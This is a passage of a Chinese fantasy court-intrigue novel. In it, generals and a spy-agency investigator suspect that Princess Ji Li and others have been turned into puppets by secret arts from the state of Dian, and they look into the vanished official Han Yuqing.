到时候整个大盛的人都会夸赞她是个于国有功、于家有荣的人。人们提起她时,不再是那个姬家的英烈女,不再是姬昀的妹妹,宋安澜的透明人军师,而是直呼她姬檐雨的名字,细数她的功绩。
……但现下看来是不可能了。
后来和谢停舟聊天时的姬泠早就忘了那天晚上自己有没有惆怅出个章程,反正那之后她还是镇北军的军师、宋安澜的跟班。有时候纠结太耗心力,她便会选择性地忽视,仿佛这样让她内耗的事情便不再存在似的。
但谢停舟如今一提,旧日的事又涌上了心头。她像只被人踩了尾巴的猫似的豁然站起,沉着脸说:“不要说了!”
谢停舟还想再说:“可是……”
“我都说了不要说了!”姬泠低头看着他,眼尾红了一-大片,那是谢停舟第一次见到她盛怒的样子。姬泠一字一顿道:“谢辞,你觉得说这话显得自己特别清醒是不是,特别聪明是不是?”
谢停舟意识到自己触了姬泠的逆鳞,徒劳地试图解释:“阿泠,你听我说,我不是那个意思……”
可话说到这里他也词穷了。平心而论,他刚刚那些质问姬泠的话绝对不坦荡,其中固然有一部分是因为为了姬泠抱不平,但更多的还是因为他吃宋安澜的飞醋已久。
但这话是绝对不好说出来的。先不提他抱着那一点小小的骄矜,不愿意承认自己在吃醋;就算说了,吃姬泠同-性好友的醋又算什么呢?不伦不类的,对谁都算不上尊重。
他一下子泄了气,从小接受的诗书礼易的教育告诉他,作为君子,这样实在是太有失体面了。他一面深深愧怍于自己的知行不一,一边悄悄地瞥了一眼姬泠,却发现她似乎也没了脾气似的,有点茫然地站在原地。
两人就这样一站一坐,沉默地对峙着。良久,姬泠说道:“夜深了,早睡。”就头也不回地匆匆走了。
一场谁都没有察觉到的冷战就这样悄悄开始了。
冷战的具体表现是,那几天两个人都不怎么见面,哪怕因为军务的原因必须要碰头,也尽量简短地结束。没有被别人察觉的原因是,这基本就是两个人平时相处的模式。谢停舟总被姬昀一封传音符捞去帮忙改军阵,而姬泠则是神龙见首不见尾惯了,只要往青州的分舵院子里一藏,没有正当理由谁都见不着她。
当然,这场冷战也没有坚持多久。繁忙的军务下,姬泠似乎很快就遗忘了他们之间那点不愉快,在某次篝火夜会之后和他正常地交流了起来。谢停舟虽然对他们的和好感到一头雾水,但对于姬泠主动递的台阶自然是连滚带爬地下。
不过事后谢停舟自己揣测,也猜出了一点姬泠的心事。
但其实从他的视角看,姬泠在百姓中其实远远不像她想象的那样藉藉无名。甚至他与姬泠重逢的开端,便是始于那次盛大的凯旋游行。
那是宋酿失踪后的第二年。镇北军获得了堪称奇迹般的胜利,一位新的将星在这场战役中冉冉升起,她有着堪称王朝女子最为尊贵的身份,在这次战役中做出了无数决定胜负的决定,包括但不限于早期的调兵遣将,中期埋伏奇袭的神来一笔,还有后来邓飞英重伤之后稳健的收尾。
这场骤失主帅、奇袭突至,本来胜算渺茫的战役就这样被宋安澜奇计频出、又稳扎稳打的一套组合拳逆转为了一场大胜。从去年的这时候算起,北周失了夫人又折兵,监军的皇子死在南盛不说,在战场上也没能讨到半分好处,一代名将邓飞英重伤,一条腿落了瘸症,之后不久就告老辞官了;最为精锐的前锋飞英军也在邓飞英的接-班副将盲目的指挥下折损了大半。相比之下,南盛这边宋酿的失踪,几乎已经算得上是微乎其微了。
毕竟江山代代人才出,她的接-班人、自己的亲妹妹宋安澜已经证明了这一点。
史官们用最浓重的笔墨、最赞美的口吻来称颂这位新的战神。雪窝在的那片山脚下的雪原被命名为安澜原,那场战役被命名为青安战役,北安军也正式更名为定北军——这也是宋安澜晋封侯爵的封号。
终于,三月初六,宋安澜终于平定了军中一干事务,经过漫长的行军,班师回朝。
那天早上,临安城的百姓们都上了街,拿着花篮,在道两侧挤挤挨挨地,等着他们新的守护神经过面前。
值得一提的一桩雅事是,那年春天来得早,临安城及郊外早就是一片花海。即便如此,为了迎接大军归来,临安城里的妇孺也早了好几日出动,将附近的花树采摘一空,甚至有人为了一树开得很漂亮的玉兰大打出手,可见百姓狂热。
金吾卫全军出动,却也还是难以控制住狂热的人潮。明明是初春的天气,人群里却不时有人中暑晕倒。孩童的哭喊声,男人的叫骂声,朱雀街上乱得像菜市口,但没有人回家,所有人仰着头、张着嘴,朝着北城门的方向,等着看行军队伍出现在城门的那一瞬间。
不知等了多久,脚下的大地隐隐传来了震颤。懂行的老人家说,这是大军已经近了。一时之间所有人都不说话了,连最聒噪的说书先生都住了嘴,刚
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刚还人声鼎沸的大街瞬间静了下来,手拉手充作人墙的金吾卫也伸长了脖子。
而在朱雀街边的酒楼上,最好的位置早已被权贵订下。谢停舟那时刚刚被姬泠劝下山,还没想好要不要随姬昀去镇西军,但也算是沾了光分了个位置。
他比楼下的百姓视野好,自然已经看见了蜿蜒的队伍,也一眼看见了队伍中,那个之前劝自己下山的,曾经也算是青梅竹马一起长大的姑娘。
为了通过朱雀街,长长的行伍五人一行,每个人都披着象征着得胜的猩红袍子,连胯-下战马都带着大红的锦花。队伍最前的自然是作为主帅的宋安澜,而姬泠和王逸作为她的左膀右臂,分列其后。
百姓们在看见军队的一瞬间就发出了如潮的欢呼声,落雨般的花瓣向将士们撒去。百姓们不认识什么万户侯还是平头小兵,也不知道军功有无,无差别地、平等地将那潮水般的花瓣播洒向每一个为了他们的安危抛头颅洒热血过的英雄。
不过,越靠近宋安澜的人在百姓心目中还是有更加被偏爱的地位的。有好些姑娘盯着位置靠前的壮硕男子,净把花和手帕往他们怀里扔;宋安澜更不必说,怀里的花和手帕几乎要抱不下,还有个胆大的姑娘想往她马鞍边上的囊袋里塞金钗,把她吓得赶紧催马向前,拼着队伍整齐不要也没敢收这般贵重的心意。
但谢停舟对别的人都不怎么感兴趣。他的目光一直紧紧跟在姬泠身上,注视着她的一举一动。
或许因为顾岁寒是文职,所以她骑着一匹雪白的高头大马,在整个镇北军中显得十分鹤立鸡群。看得出来她似乎也对这种突出有些许不适应,但她还是强作镇定地坐在马上,脸上的僵硬的表情却出卖了她,让她显得十分正襟危坐。
不过很快,热情的百姓就将她淹没了。她有些不知所措地收集着扔到她怀里的花,不知为何,那些花大多是玉兰之类香气浓烈的,她闻着花香,没忍住打了个大大的喷嚏。
随后姬泠轻轻夹击催马,追上了前面被一群小姑娘包围的宋安澜喊了句什么。距离太远谢停舟没听清,但他看见话音刚落,两个人都哈哈大笑起来,没忍住也跟着露出了一个笑容。
随后,这场得胜的游行被推到了最高-潮。
宋安澜忽得一抖缰绳,早已通心意的战马一声长鸣,加快了脚步。姬泠和其他几个部将紧随其后,这几人竟是在这汇聚天下繁华的朱雀街纵马奔驰了起来!
以往班师回朝时没有这般盛况,但这并不耽误百姓们跟着兴奋地欢呼。花雨不要钱似的撒了下来,宋安澜朗声长笑,酒楼上的歌舞班见状也开始奏乐起舞,唢呐声一飞冲天,连丝弦声都被压下,葡萄酒、椒柏酒洒落一地,舞姬血红色的罗裙被沾湿,酒香随着旋转充盈所有人鼻间。
姬泠扯下了肩上披的红袍,抓在手上,高声喊:“大盛长安,陛下永昌!”
言罢,她手一松,像放飞了一个愿望一般,让那袍子随着风飞向高空,随后长啸一声,夹腹催马,朝着她的主帅追去。
那袍角掠过谢停舟伸出的手,飞往无穷的天边。谢停舟没有注意到,而是愣怔怔地看着姬泠远去的背影,先贤的诗句就这样出现在他心头。
五陵年少金市东,银鞍白马度春风。
而他的少年,就这样追着春风远去,将那清瘦却坚定的背影深深刻印在了他心头。
25. 思越人 一
现在细细数来,距那春风一面已是过去了五年有余。
在那条街上一同策马的人,死生掺半,各自离散。丹陛上的人已经换了一位,恐怕宋安澜也不会再在这条象征这权力与繁华的长街上策马了。
谢停舟没忍住往临安的方向看了一眼,但重重树林遮住了他的目光,都城远在二三十里开外,已经不是目力能所及的了。
不知道现在的朱雀街上,又是怎样的一副景象呢?
他失望地收回目光。顾岁寒却还惦念着之前和他的对话,开玩笑似的逗他:“怎么,将军该不会是在为我抱不平吧?那可别,我本来就是宋将军手下的人,为她效力不是应该的?要是为了那点私情就想求些额外的恩典的话,那才是乱了套了吧。”
谢停舟重重地出了口气,没再说什么,只是点了点头。后面的博明出声提醒:“将军,执棋,前面往山上走,别走错了。”
躬行殿是往山下的方向。谢停舟诧异道:“将军不在躬行殿吗?”
博明摇头:“不在。此事重大,所以将军要单独出来说,躬行殿里人多口杂,各方势力都有,将军不放心。”
躬行殿本身位置就高,再往上走就到了山顶。走近了顾岁寒才发现姬昀坐在山顶的亭子里,身上偏绿的衣服跟周围环境融为一体,手里拿着一根烟枪,正在吞云吐雾。
顾岁寒讨厌旱烟的味道,手微微发痒,有一种想把那根烟枪拿走的冲动。她刚把自己这个失礼的欲-望克制下来,谢停舟就直接一步上前把烟枪拿了下来:“不是说为了宋将军不用了吗,怎么又开始了?”
姬昀早就听见他们来,被拿走了烟枪也没动弹,只是把拿烟枪的手在身上蹭了蹭,眉头深深锁出几道深纹:“停舟,我有一事在发愁,但又不知道如何确认。你能帮我吗?”
他的目光移向后面跟来的顾岁寒,微微坐直了身体:“执棋也在,那这件事就更好办了。”
谢停舟说:“你说,我能帮的自然帮。”
姬昀烦躁地揉了揉眉心:“我怀疑,阿漓不是阿漓。”
顾岁寒反应了一下才想起来姬昀说的是哪号人物,谢停舟显然经常听他唠叨,反应更快:“长乐公主?为什么这么说?”
姬昀道:“你也知道的,阿漓从小性子就软,也不像我和阿泠那样喜欢舞枪弄棒,总是待在屋里读书。但我感觉,阿泠死后,她性子就变了。”
谢停舟提醒他:“长乐公主和阿泠关系近,至亲骤然死亡,原因还可能与自己有关,她性情变化也在情理之中。”
姬昀摇头:“不不不,我不是说这个,我是说,我感觉她性格变得‘木’了。细说的话就是,她以前虽然性格柔软,但是其实私下里和我跟阿泠在一起时都是很活泼的,为人妇后也不像别的夫人那样循规蹈矩,但是阿泠死后,她好像忽然变成了个很……‘模范’的贵妇人。”
他深吸了一口气:“我本来也和你们一样,以为这只是阿漓骤失至亲,心里难过,故而性情变化。但刚刚韩玉青迟迟不来,我受安澜之托,去他们夫妇下榻的院子找她。远远的,我看见她在赏花,便走过去想要喊她。但一阵风吹了过来,我忽然闻到她身上有一种……一种……”
他说到这里似乎再也说不下去了,目光发直,整个人微微打了一个寒噤,似乎对自己记忆中的景象还是充满了恐惧:“她身上有一种尸体腐臭的气味,还有一种异香,问起来就像是……像是……寺院里的玉兰花,很香,但还掺着很重的香灰味,不好闻。”
顾岁寒听他提起香灰味,瞬间就想起了昨天的鲁纳。但是她看场中其他两人都在沉思,就没有开口打扰,而是继续听姬昀说。
“我当时还以为自己鼻子出问题了,”姬昀说到这里还是觉得自己有些难以置信,“我走到门外面,远远地看着她。风一吹,她半披着的头发被风吹开了,我看见她脖子后面,有一圈深一些的痕迹,真的很像是木偶线。”
话音刚落,顾岁寒就看见谢停舟的脸色彻底变了。她小心地在后面出声提问:“木偶线?民间艺人把-玩的木偶身上的那种连接线吗?那意味着什么?”
“她或许已经被人控制了。”谢停舟沉着脸色,“木偶身上之所以会有木偶线,是因为在那里牵线便于控制木偶人的活动。人控制人也是一个道理,之前我和将军在西南的时候,就截获了一支打算从滇国用秘术运尸入盛境的民间的运尸队,这些尸体上就有很典型的木偶线。”
“可是,可是,”姬昀几乎是眼巴巴地看着其他两人,语无伦次到挥着手臂,似乎迫切地想找到一个可以否定他可怕猜测的证据,“阿漓她还活着啊,怎么可能呢?我昨天亲眼看见她和韩玉青说说笑笑,还吃了东西,死人是不能吃东西的啊!”
“……我也不知道。”谢停舟懊恼地坐在一旁,“滇国的秘术和道修魔修的体系都太不一样了,每种妖修都有属于他们自己的修炼体系,很多术法我也不知道其中奥妙。”
亭子中一时间安静了下来。事情至此陷入了一个无解的谜团,诸人束手无策。亭子中一时陷入了沉默。
“两位将军,”顾岁寒思考片刻,贸然开口打破了平静,“我有一些看法,说起来可能有些可笑,那就是——为什么不直接些,去问问当事人呢?”
谢停舟没听懂她的意思,有些茫然,姬昀却是隐隐约约理解了:“继续说。”
“我在翌日前见过长乐公主,她确实如同姬将军说的那般,雍容大气,颇有大国风度,十分端庄。倘若她当真被人控制了心神行动,这个人究竟是谁,我们目前暂时没有头绪,想要调查的话恐怕花的时间也很长,因为正如二位所言,我们对滇国的秘术并不熟悉。”
她看着在场两个人的眼睛,摊开双手:“既然我们从术法的层面暂时追踪不到施术人,那么为什么不用用心理战的手法呢?长乐公主在朝中的地位不可谓不重要,一方面她是忠烈女,和不少武将都沾亲带故,另一方面她又是文臣首脑的妻子,在江南学派中的地位也不低。”
“那么假如真有人将长乐公主做成了傀儡,
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她对傀儡师而言应该是很重要的。如果他通过长乐公主的耳朵知道了长乐公主的身份已经被怀疑,他会不会因为心急而露出破绽呢?”
姬昀沉吟:“可是万一咱们贸然试探,打草惊蛇,会不会对阿漓不利?”
顾岁寒摊开手:“长乐公主这样重要的人物,只要幕后的傀儡师不想和整个大盛的人作对,就不会贸然做对公主更为不利的事吧。而且说实在的,二位将军,你们心里不是应该有了大概怀疑的人选了吗?”
姬漓是韩玉青的妻子,与他几乎是朝夕相处,婚姻中也频频替他说话;昨天的鲁纳是韩玉青老师的挚友,与韩玉青的关系恐怕也很好。
而陈筑,虽然是归雁台派来的探子,却也曾是江南学派的重要成员。所有人和韩玉青都有千丝万缕的关联,他看似与所有事都无关,却与所有事件中的人都有着联系。
三个人面面相觑,都感觉这猜测有些荒谬。谢停舟轻声道:“为什么是他?他是个手无缚鸡之力的文臣,平生也与滇国应当没什么关联,他怎么学到的那些术法呢?”
“他去过,”顾岁寒解释道,“他被点为状元之后,有一段时间很不得意,在剑南道待过两年。阁里的卷宗有记载。”
谢停舟表情还是有些茫然。姬昀却是想起来了:“哦,好像是因为得罪了什么人被贬去当了几年县令……但是剑南道离滇国还是有些距离的吧。”
顾岁寒对西南地形不了解,谨慎地没有开口。谢停舟不知为何也没出声,心思好像飘去了别的地方。姬昀自暴自弃道:“算了,试探试探就知道了,不想那么多了。”
三个人就这样定下了计划,准备等宋礼醒了,借着这个机会把姬漓夫妇两人直接叫来,到时直接发难,自见分晓,便顺着那道羊肠小道下山往躬行殿走。
谁知刚走到半路,一个打扮与博明相似的人就匆匆跑来叫住了他们。顾岁寒觉得此人面熟,好像在宋安澜身边见过,下一瞬这人就气喘吁吁地开口:“姬将军,我家将军派我来同您说,韩玉青不见了!”
“什么!”姬昀没忍住惊呼出口,回头和另外两人对视,都在彼此眼中看到了震惊。姬昀问那人道:“那别人呢?阿漓还在吗?”
“还在,但人昏过去了。”那传信的兵士道,“除此之外,其他院里还有报上来的莫名昏迷的人,连北周使团里都有几个。”
顾岁寒捡着最要紧的问:“那鲁纳呢?就是蓝仆射身边的那个管家,他怎么样?”
兵士惊异道:“咦?姑娘怎么知道她就在昏迷的人的名单里?”
六目相对。一个猜测在三人之间逐渐酝酿成型。
他们刚刚怀疑过韩玉青的身份,他就莫名消失,而他们怀疑是傀儡的人都昏迷了。
消息是怎么走漏的?为什么他们刚一怀疑,还没有实质性的证据,韩玉青就落荒而逃,堪称把罪名直接钉死了?
除此之外,顾岁寒还有另外一个可怕的推测——
昨夜莫名昏迷的皇帝,真的跟这件事毫无关联吗?
26. 思越人 二
宋安澜单独找了个空屋子,着人多搬了几张床,把昏迷的人都聚了过来。
三个人商议一番之后,顾岁寒和姬昀决定先过来看看,让谢停舟去跟还在躬行殿忙活的宋安澜说明情况。
说是分头行动,但那处空屋离躬行殿也不远,似乎本来是豢养上林苑奇兽的宫人住的地方。
现下已是下午晚些时候,天阴了下来,沉沉地压-在山头。顾岁寒看这天色,猜测晚些时候可能要下雨。一下雨地就泥泞,这秋猎恐怕真要“半道崩殂”了。
本来礼部定了秋猎后陛下向上苍祈福来年百兽繁衍,不愁鸡豚的,但看现在宋礼那样子,恐怕是不能完成原本的计划了。顾岁寒看着天色胡思乱想,心不在焉地跟着姬昀的步子进了屋。
宋安澜派了自己的一个家将看守此处,不过榻上的人一个睡得比一个深,看起来似乎也没什么看守的必要。姬昀蹲下来查看一个昏迷的玄衣卫,顾岁寒没着急着细查,而是环视了一圈屋内,发现少了人,低声问宋安澜的家将:“兄弟怎么称呼?长乐公主不在此处吗?”
顾岁寒在定北侯府叨扰多日,府上的家将们自然对她的声音都很熟悉,只是现在这张脸不怎么常见。那家将惊异地看了她两眼,才道:“末将罗松,长乐公主自然还在自己院中。公主身份尊贵,我等也不敢擅动,现下由着她身边的人照料。”
听到这话,本来蹲在地上的姬昀微微一顿,回头看向顾岁寒,目光里带了点恳求。顾岁寒会意:“将军是叫我去看看公主?”
姬昀心事重重地叹了口气,点点头。顾岁寒犹疑了一下,道:“好,将军稍等。”
说罢她没有出门,反而是往里走了几步,找到了自己的目标。大半日前刚见过的鲁纳就静静地躺在那里,脸色青白。不知是不是顾岁寒的错觉,她老觉得鲁纳的脸色比之前更难看了。
但神奇的是,这人现在是有呼吸心跳的,只不过比正常人缓慢了不少。要不是顾岁寒对自己的记忆还是有信心的,她简直要怀疑自己之前在沈和正屋里见到的那人是自己的幻觉。
她有些心虚地回头看了看屋里剩下的两个人,见他俩都没注意这边,飞快地从袖子里掏出一片蝉翼大小的刀刃,三下五除二把鲁纳的衣服袖子都割了下来。听到声音姬昀诧异地看了她一眼,顾岁寒欲盖弥彰地解释道:“哈哈哈,那个,我看他袖口这里有些异样,就想看看他身上有没有别的线索。”
姬昀知道她在胡说八道,但也没有拆穿,“哦”了一声之后若无其事地收回了目光,换了个昏迷的人研究。这人似乎是谁家的公子哥,虽然迫于宋安澜的淫威把人送了过来,但还是不放心地派了个家仆在旁边看守。这家仆身形壮实,目露精-光,一看就是个练家子。见姬昀接近,整个人都戒备地紧绷了起来:“将,将军这,这是做什么?”
架势倒是拉足了,只可惜一开口就露了怯。姬昀装作没发现,而是微笑道:“我能问问你家公子姓甚名谁?”
这家仆见他态度和善亲厚,微微放松了下来:“哦,我家公子名叫谈春,是谈尚书的二公子。”
这谈尚书说的是户部尚书谈和运,和韩玉青是同乡。姬昀心里有了数,进而问道:“我是前来主持今日这事的,眼下没什么头绪,只是随便问问,看看能不能有什么线索。你知不知道今日这事是怎么回事?能不能把来龙去脉都大致讲与我听?”
他本意是看这家仆比较憨厚,试着套些话出来,看看此事是不是真与韩玉青有关。虽说现在种种线索其实都明里暗里指向了韩玉青,但他不知为何还是有些隐隐的不安,想再度印证一番。
谁知这家仆却忽然警惕了起来:“没,没什么啊!少爷就是忽然昏倒了,我们都不知道是怎么回事!”
姬昀不死心,耐心引导道:“那你家少爷昏倒之前有没有什么异样?跟什么人接触过?”
这家仆死命摇头,愣是一个字都不肯说了。这态度反而反向映证了姬昀的某些猜测,他脸色微微一沉。
难道真的是韩玉青吗?他如果真做了这种事,目的是什么?他把触-手伸得如此之长,恐怕也耗费了不少心力,又为何要在刚刚露出马脚的时候就落荒而逃呢?
他百思不得其解,却听得顾岁寒那边轻声唤他:“将军。”
他循声望去,看见顾岁寒站在鲁纳身边,似乎发现了什么,打眼色让他近些看。姬昀走了过去,那家仆也好奇地跟着看了过来,顾岁寒却微微移动身子挡住了他探究的目光。
姬昀刚一走进,就注意到了鲁纳手腕脚腕以及关节处之前被衣服挡住的纹路,他低声道:“木偶线?”
“对,”顾岁寒点头,指了指旁边榻上的人。姬昀望了过去,才发现不知什么时候,顾岁寒也把旁边人的袖子裤腿一并拆了,但那人身上却没有类似的纹路。姬昀皱眉:“没有?为什么,难道说他不是傀儡?”
“不,”顾岁寒也压低了声音,“也有,但是比较浅,要仔细看。我怀疑这个人是因为被-操纵的时间还不长,所以肉-体还勉强算得上是个‘人’,表现才不明显。”
而那些被拘走魂魄,操控肉身久了的,就已经算不得“人”了,身上线牵的纹路自然也会越来越深。
像是……慢慢异化成了一个木傀儡。
姬昀整个人的神色看起来都不太对了,眼睛里都有了红血丝:“那……阿漓呢?我可是清晰地看到了她脖子上的线的,她怎么办?”
他最后一句话破了音,眼睛里也湿润了,倒影出了对面姑娘冷静的神色。他本来是个十分沉稳的角色,现下看起来也是有些关心则乱了。现下这边还要靠他压阵脚,顾岁寒只好帮他定心:“我的猜测也不一定对,万一是反过来的呢?或许被控制得越久的人,反而更能融入人群,身上的痕迹也更不明显。将军,你也别
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自乱心神,我这就去公主处看看,嗯?”
姬昀魂不守舍地点点头。顾岁寒从旁边多拽了两床被子过来,给被她割了衣服的两个人盖好,拍了拍姬昀的肩膀,这才离开。这行伍意味浓郁的动作似乎也让姬昀回了回神,他朝着顾岁寒点点头,苦笑道:“放心吧梅臣,我没事,你帮我看好阿漓才是要紧。”
顾岁寒见状也不再多言,干脆利落地朝外走去。跨出门槛前,她回头看了一眼还伫立在鲁纳床边的姬昀,莫名从那逆光的身影中看出了一丝萧索。
说来姬昀也是苦命,自小失了父母不说,眼下两个妹妹也一个死,一个生死未卜。由于修士们对妖修术法的不了解,没有人能下断言这些被制成了傀儡的人还能不能变回原来的样子,姬昀的心也像走钢丝绳似的,摇摇欲坠地挂在半空中。
顾岁寒摇了摇头,感慨万千地走出了这临时的安置所。说起来姬昀此人也是奇怪,在顾岁寒眼里,他其实比谢停舟更符合“儒将”这个词的定义。他不像他的妻子那样有着火辣的脾气,性格温和,似乎常常在帮宋安澜圆话题;或许是因为姬泠这层亲缘的原因,他虽说是谢停舟的主将,两人相处时却更像好兄弟,没有明显的上下之分。
最重要的事,其实在和谢停舟相处的这几天里,宋安澜明显感觉到,谢停舟的性格并非像外界传颂的那样君子端方,特别是在设计姬泠的事情上,他总是乐于露出自己的爪牙,处事也不像平时装出来的那样圆滑。顾岁寒更愿意相信那层君子皮更多的是他入世的一张皮,而皮下的本性很可能不像他表现出来的那样人畜无害。
但姬昀不同,他的性格很明显更加中庸。比如在姬泠一事上,顾岁寒醒来之后曾听过多方对于姬泠自戕一事的评价,但作为她最亲的兄长,姬昀往往在这些事上神奇的隐身了。他像是一个透明人,藏在了自己妻子的阴影里不发一言,却也有种仿佛跟自己的妹妹从来不认识似的冷漠。
但之前听别人的描述,这对兄妹的感情似乎算得上是非常好。他们同胞双生,一同长大,后来即使因道不同而分隔两地,也尽量会在回京时小聚。正因如此,姬昀的态度才越发显得奇怪——他似乎太不在乎了。
姬泠的未婚夫对她的死耿耿于怀,姬泠的战友兼闺蜜屡次三番拜托顾岁寒帮忙查案,姬泠在阁里的朋友提起她也会垂泪……但姬昀却从未对姬泠的事有过很明显的表态。
直到如今,对姬漓的事的这一点失态,才让顾岁寒看出了些端倪。
他似乎并不是不在乎他的家人。顾岁寒沿着台阶往山上走,但刚刚姬昀的神色却还在她脑海中挥之不去。
他是太在乎了。他的在乎如同深海里的漩涡,不敢轻易露出。在平静的海面的伪饰下,谁都不知道里面有多少风险。
而他最后一个血脉相连的家人生死未卜,那平静的海面才被撕开了一道裂口,露出了底下狰狞的本质。
27. 思越人 三
姬漓夫妇的院子离躬行殿也很近,顾岁寒步行上山才用了半柱香不到,而且院子旁边就有一条山溪经过,环境幽美,可见韩玉青在礼部还是很吃得开的。
院门死死闭锁着,外面有宋安澜的人看护。这些人见到顾岁寒的新面孔惯常地展现出了警惕,顾岁寒翻了翻身上,把落棋阁的印掏出来后才被放行。
院子里静悄悄的,没有人走动说话。但从院子中的布置来看,昨晚这里似乎还非常热闹,几处高树间还挂着彩绸,空气中隐隐浮动着一股酒香。有个侍女听见了开关门的声音,从屋里出来看。顾岁寒眼尖看出此人正是上回自己去韩府时来迎接自己的那个宫女,忙在她又躲回去之前高声叫住了她:“姑娘!”
那宫女听她声音耳熟,犹犹豫豫地停住了脚步:“您是……”
顾岁寒今天为了扮侍女穿了复杂的长裙子,为了留住那人脚步,连忙提起裙摆跑了过去:“我是那天来府上拜访的顾梅臣,姑娘可还记得?”
那宫女犹犹豫豫道:“您声音听着似乎耳熟,可……这样貌?”
顾岁寒不想摘假面露出底下有伤的面貌吓人,而且她那天其实也戴了另一张假面,想来想去只好故技重施,把落棋阁的印掏出来在那宫女眼前晃了一下:“此事说来话长,眼下我是受长喜公主之托,前来照料你们家殿下的,可否和我细细说说这府上发生的事?”
先帝名下连亲生的带收养的一
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共四个女儿,按着年龄大小取了“平安喜乐”四个字做封号。宋安澜排行第三,所以得了“长喜”,只不过后来她的军功已然超过了她作为公主的荣耀,所以现下很少有人提及了。
顾岁寒本来想说宋将军的,但话到嘴边又担心这将军的称号似乎有些太过冷硬,担心压着这小宫女,又硬生生地改了话头。那宫女闻言微微松了口气:“原来如此,顾姑娘见谅,今日发生之事实在太多了,我们做奴婢的心里总归是恐惧的。不知道姑娘想了解什么?”
顾岁寒学着姬昀接人待物那笑眯眯的样:“姑娘能否和在下细细说说公主晕倒前后发生的事?还有,我看这院子里布置十分盛大,昨日是庆祝了些什么吗?”
28. 思越人 四
小宫女伸头过来就着她的手闻了闻,笃定道:“这香叫‘青玉案’,是几年前尚书和公主尚在剑南道任职时当地一个香阁制作的,尚书和公主都很喜欢这个味道,要了香方过来沿用至今。”
顾岁寒:“……啊?”
这种寺庙燃香的味道,有什么好喜欢的?
她忍了片刻,看在姬漓的份上压下了吐槽这奇葩爱好的想法。她又问了问这小宫女还记不记得那香阁的名字,但因为实在是时间久远,小宫女挠破了头也没想起来,只好作罢。
“不过,”小宫女殷勤道,“这香的香方奴婢那里有,大人需要吗?”
顾岁寒想了想,点点头。小宫女闻言心花怒放,也不顾还在昏睡的自家主子了,噔噔噔跑到一边去磨墨裁纸。府上其他下人或许是被宋安澜叫走了,半天也不见其他人影。
顾岁寒把香炉的盖子妥帖放了回去,拍了拍手上残留的香灰,才走到床边。掀开帐子,姬漓昏睡的面容便展露在眼前。她脸色红润,呼吸平稳,仿佛只是睡着了一般。
不得不说,姬漓堪称天姿国色,露在被褥外面的肌肤色如白玉,吹弹可破。虽然上次的见面已经让顾岁寒对她的美貌有了感知,但远观和近看不同,受到的冲击总归还是更大的。
顾岁寒没忍住轻轻倒吸了一口凉气,却还是没忘了此行的正事,暗道一声“得罪了”便伸手垫到了公主身下,将她身子轻轻掀开一点,拉开衣领处的寝衣往里看,却并没有木偶纹路。
这倒有些出乎意料了。顾岁寒暗暗想会不会是姬昀远远看自己妹妹看错了,一面把手撤回来,将公主稳稳放回原处。
就在这时,那小宫女也把香方写好了,拿来给她过目。顾岁寒对香道了解甚浅,匆匆扫了两眼也没看出什么端倪,只好先叠起来收进衣襟里。正叠着,她余光里看见床上光影变动,偏头看去,竟是姬漓悠悠地睁开了眼。
姬漓见到她,惊异地睁大了眼,嘴唇微微蠕动。小宫女颇有眼力见,端上还温热的茶水来给她润喉。姬漓就着小宫女的手倾身喝了两口,盈盈美目望向顾岁寒,嘴上却是在问小宫女:“丹桂,这位大人是?”
不知为何,姬漓醒后,丹桂便没有最开始面对顾岁寒时那股活泼劲了,她轻声细语道:“殿下,这是落棋阁的顾大人,说是奉宋将军的命令来看望您的。”
“顾……大人?”姬漓的眼神中明显出现了一丝迷茫,“阁下是……顾岁寒顾大人吗?”
不知为何,顾岁寒感到了一丝隐隐的古怪,但那丝古怪稍纵即逝,她还没来得及捕捉,便没有了头绪。她只好先定下心来,学着那宫女轻声道:“是。在下为了行走上林苑方便,换了一张面具,和上回见公主时或有不同。公主见谅。”
姬漓看起来也颇为惊讶:“这……本宫之前也见过姐姐的易容,只不过都比较粗浅,本宫一眼便能识得,执棋的易容水准实在高超,本宫刚刚一眼望去,竟没能识得真容,实在惭愧。”
顾岁寒没想到会受到这样的夸赞,只好客套道:“姬师妹是黑棋,只需学习刺杀潜行之类的武艺即可,在下是白棋,学易容伪饰之类自然要比黑棋更精。公主能认出师妹的易容已经是眼力卓绝了,若在下的易容也能被公主一眼看穿,在下简直要羞得钻进地里,向师父自杀谢罪了。”
姬漓连忙摆手:“执棋过谦了。执棋说奉安澜姐姐的命令来看顾本宫,不过本宫身体已然无恙,或许不时便能亲自去和安澜姐姐请罪了,还请执棋依言回禀安澜姐姐,叫她不要担忧。”
这便是请她离开的意思了,顾岁寒本来还想细问她一些关于韩玉青的事,见状只好把话又咽了回去,拱手行礼道:“那在下便先向将军回禀了,公主保重身体。”
姬漓微微一笑,使了个眼色让小宫女丹桂送她。两人一前一后出了门,丹桂落后一步将门带上了。走出去十几步,丹桂才小声道:“殿下心里毕竟还是有韩尚书的,大人也不要气馁,我们做奴婢的也会尽量劝导殿下的。”
顾岁寒笑道:“好啊,只怕你们殿下不撞南墙不回头,还对韩玉青死心塌地,不愿意接受你们的劝谏呢。”
丹桂摇头晃脑:“那我自然也不会学那些士大夫死谏啦。公主要是发了脾气,我就冲她撒娇示好嘛,公主心软,是不会责怪我们的。”
“好。”顾岁寒走出院外,回头又看了一眼这个还残留着昨日的繁华和热闹的院落,心中的怪异感还是挥之不去。但她最终还是没能找到自己这种无来由的直觉的源头,只好摇了摇头,冲丹桂挥了挥手:“我走了。你也保重啊!”
这句话本是她在心中不安的驱使下下意识说出的话,但小丹桂看起来快要幸福得晕过去了。顾岁寒不由失笑,又挥了挥手,转身走上了来时那条小道。
又一声闷雷响起,空中飘起了雨滴。顾岁寒没有代步工具,担心一会雨下大了自己会被淋湿,只好加快了步伐。饶是如此,回到姬昀所处的那处小院时,她外衣还是几乎湿透了。
出乎她意料的是,宋安澜和谢停舟也都在此处,宋安澜和姬昀站在屋子角落的一处小榻前,头抵着头不知在商量什么,谢停舟远远看着,不知为何眼中颇有些羡慕的意思。顾岁寒从他身后接近,低声喊了他一声,他才如梦方醒似的回过头。
顾岁寒用下巴轻轻点了点宋安澜那边,问他:“将军怎么也来了?躬行殿那边的事都妥了吗?”
谢停舟摇头:“还没有,家里有人出事了几家大臣还在闹,不过大多是冲着韩党那边,和宋将军关系不大。将军把两边人暂且分开,说自己会负责此案,这才暂时安抚了众臣之心。”
顾岁寒看着宋安澜的背影,微微出神。从这个角度看过去,宋安澜今天虽然没有披甲,背影却依然宽厚而可靠,光是看着就叫人安心。
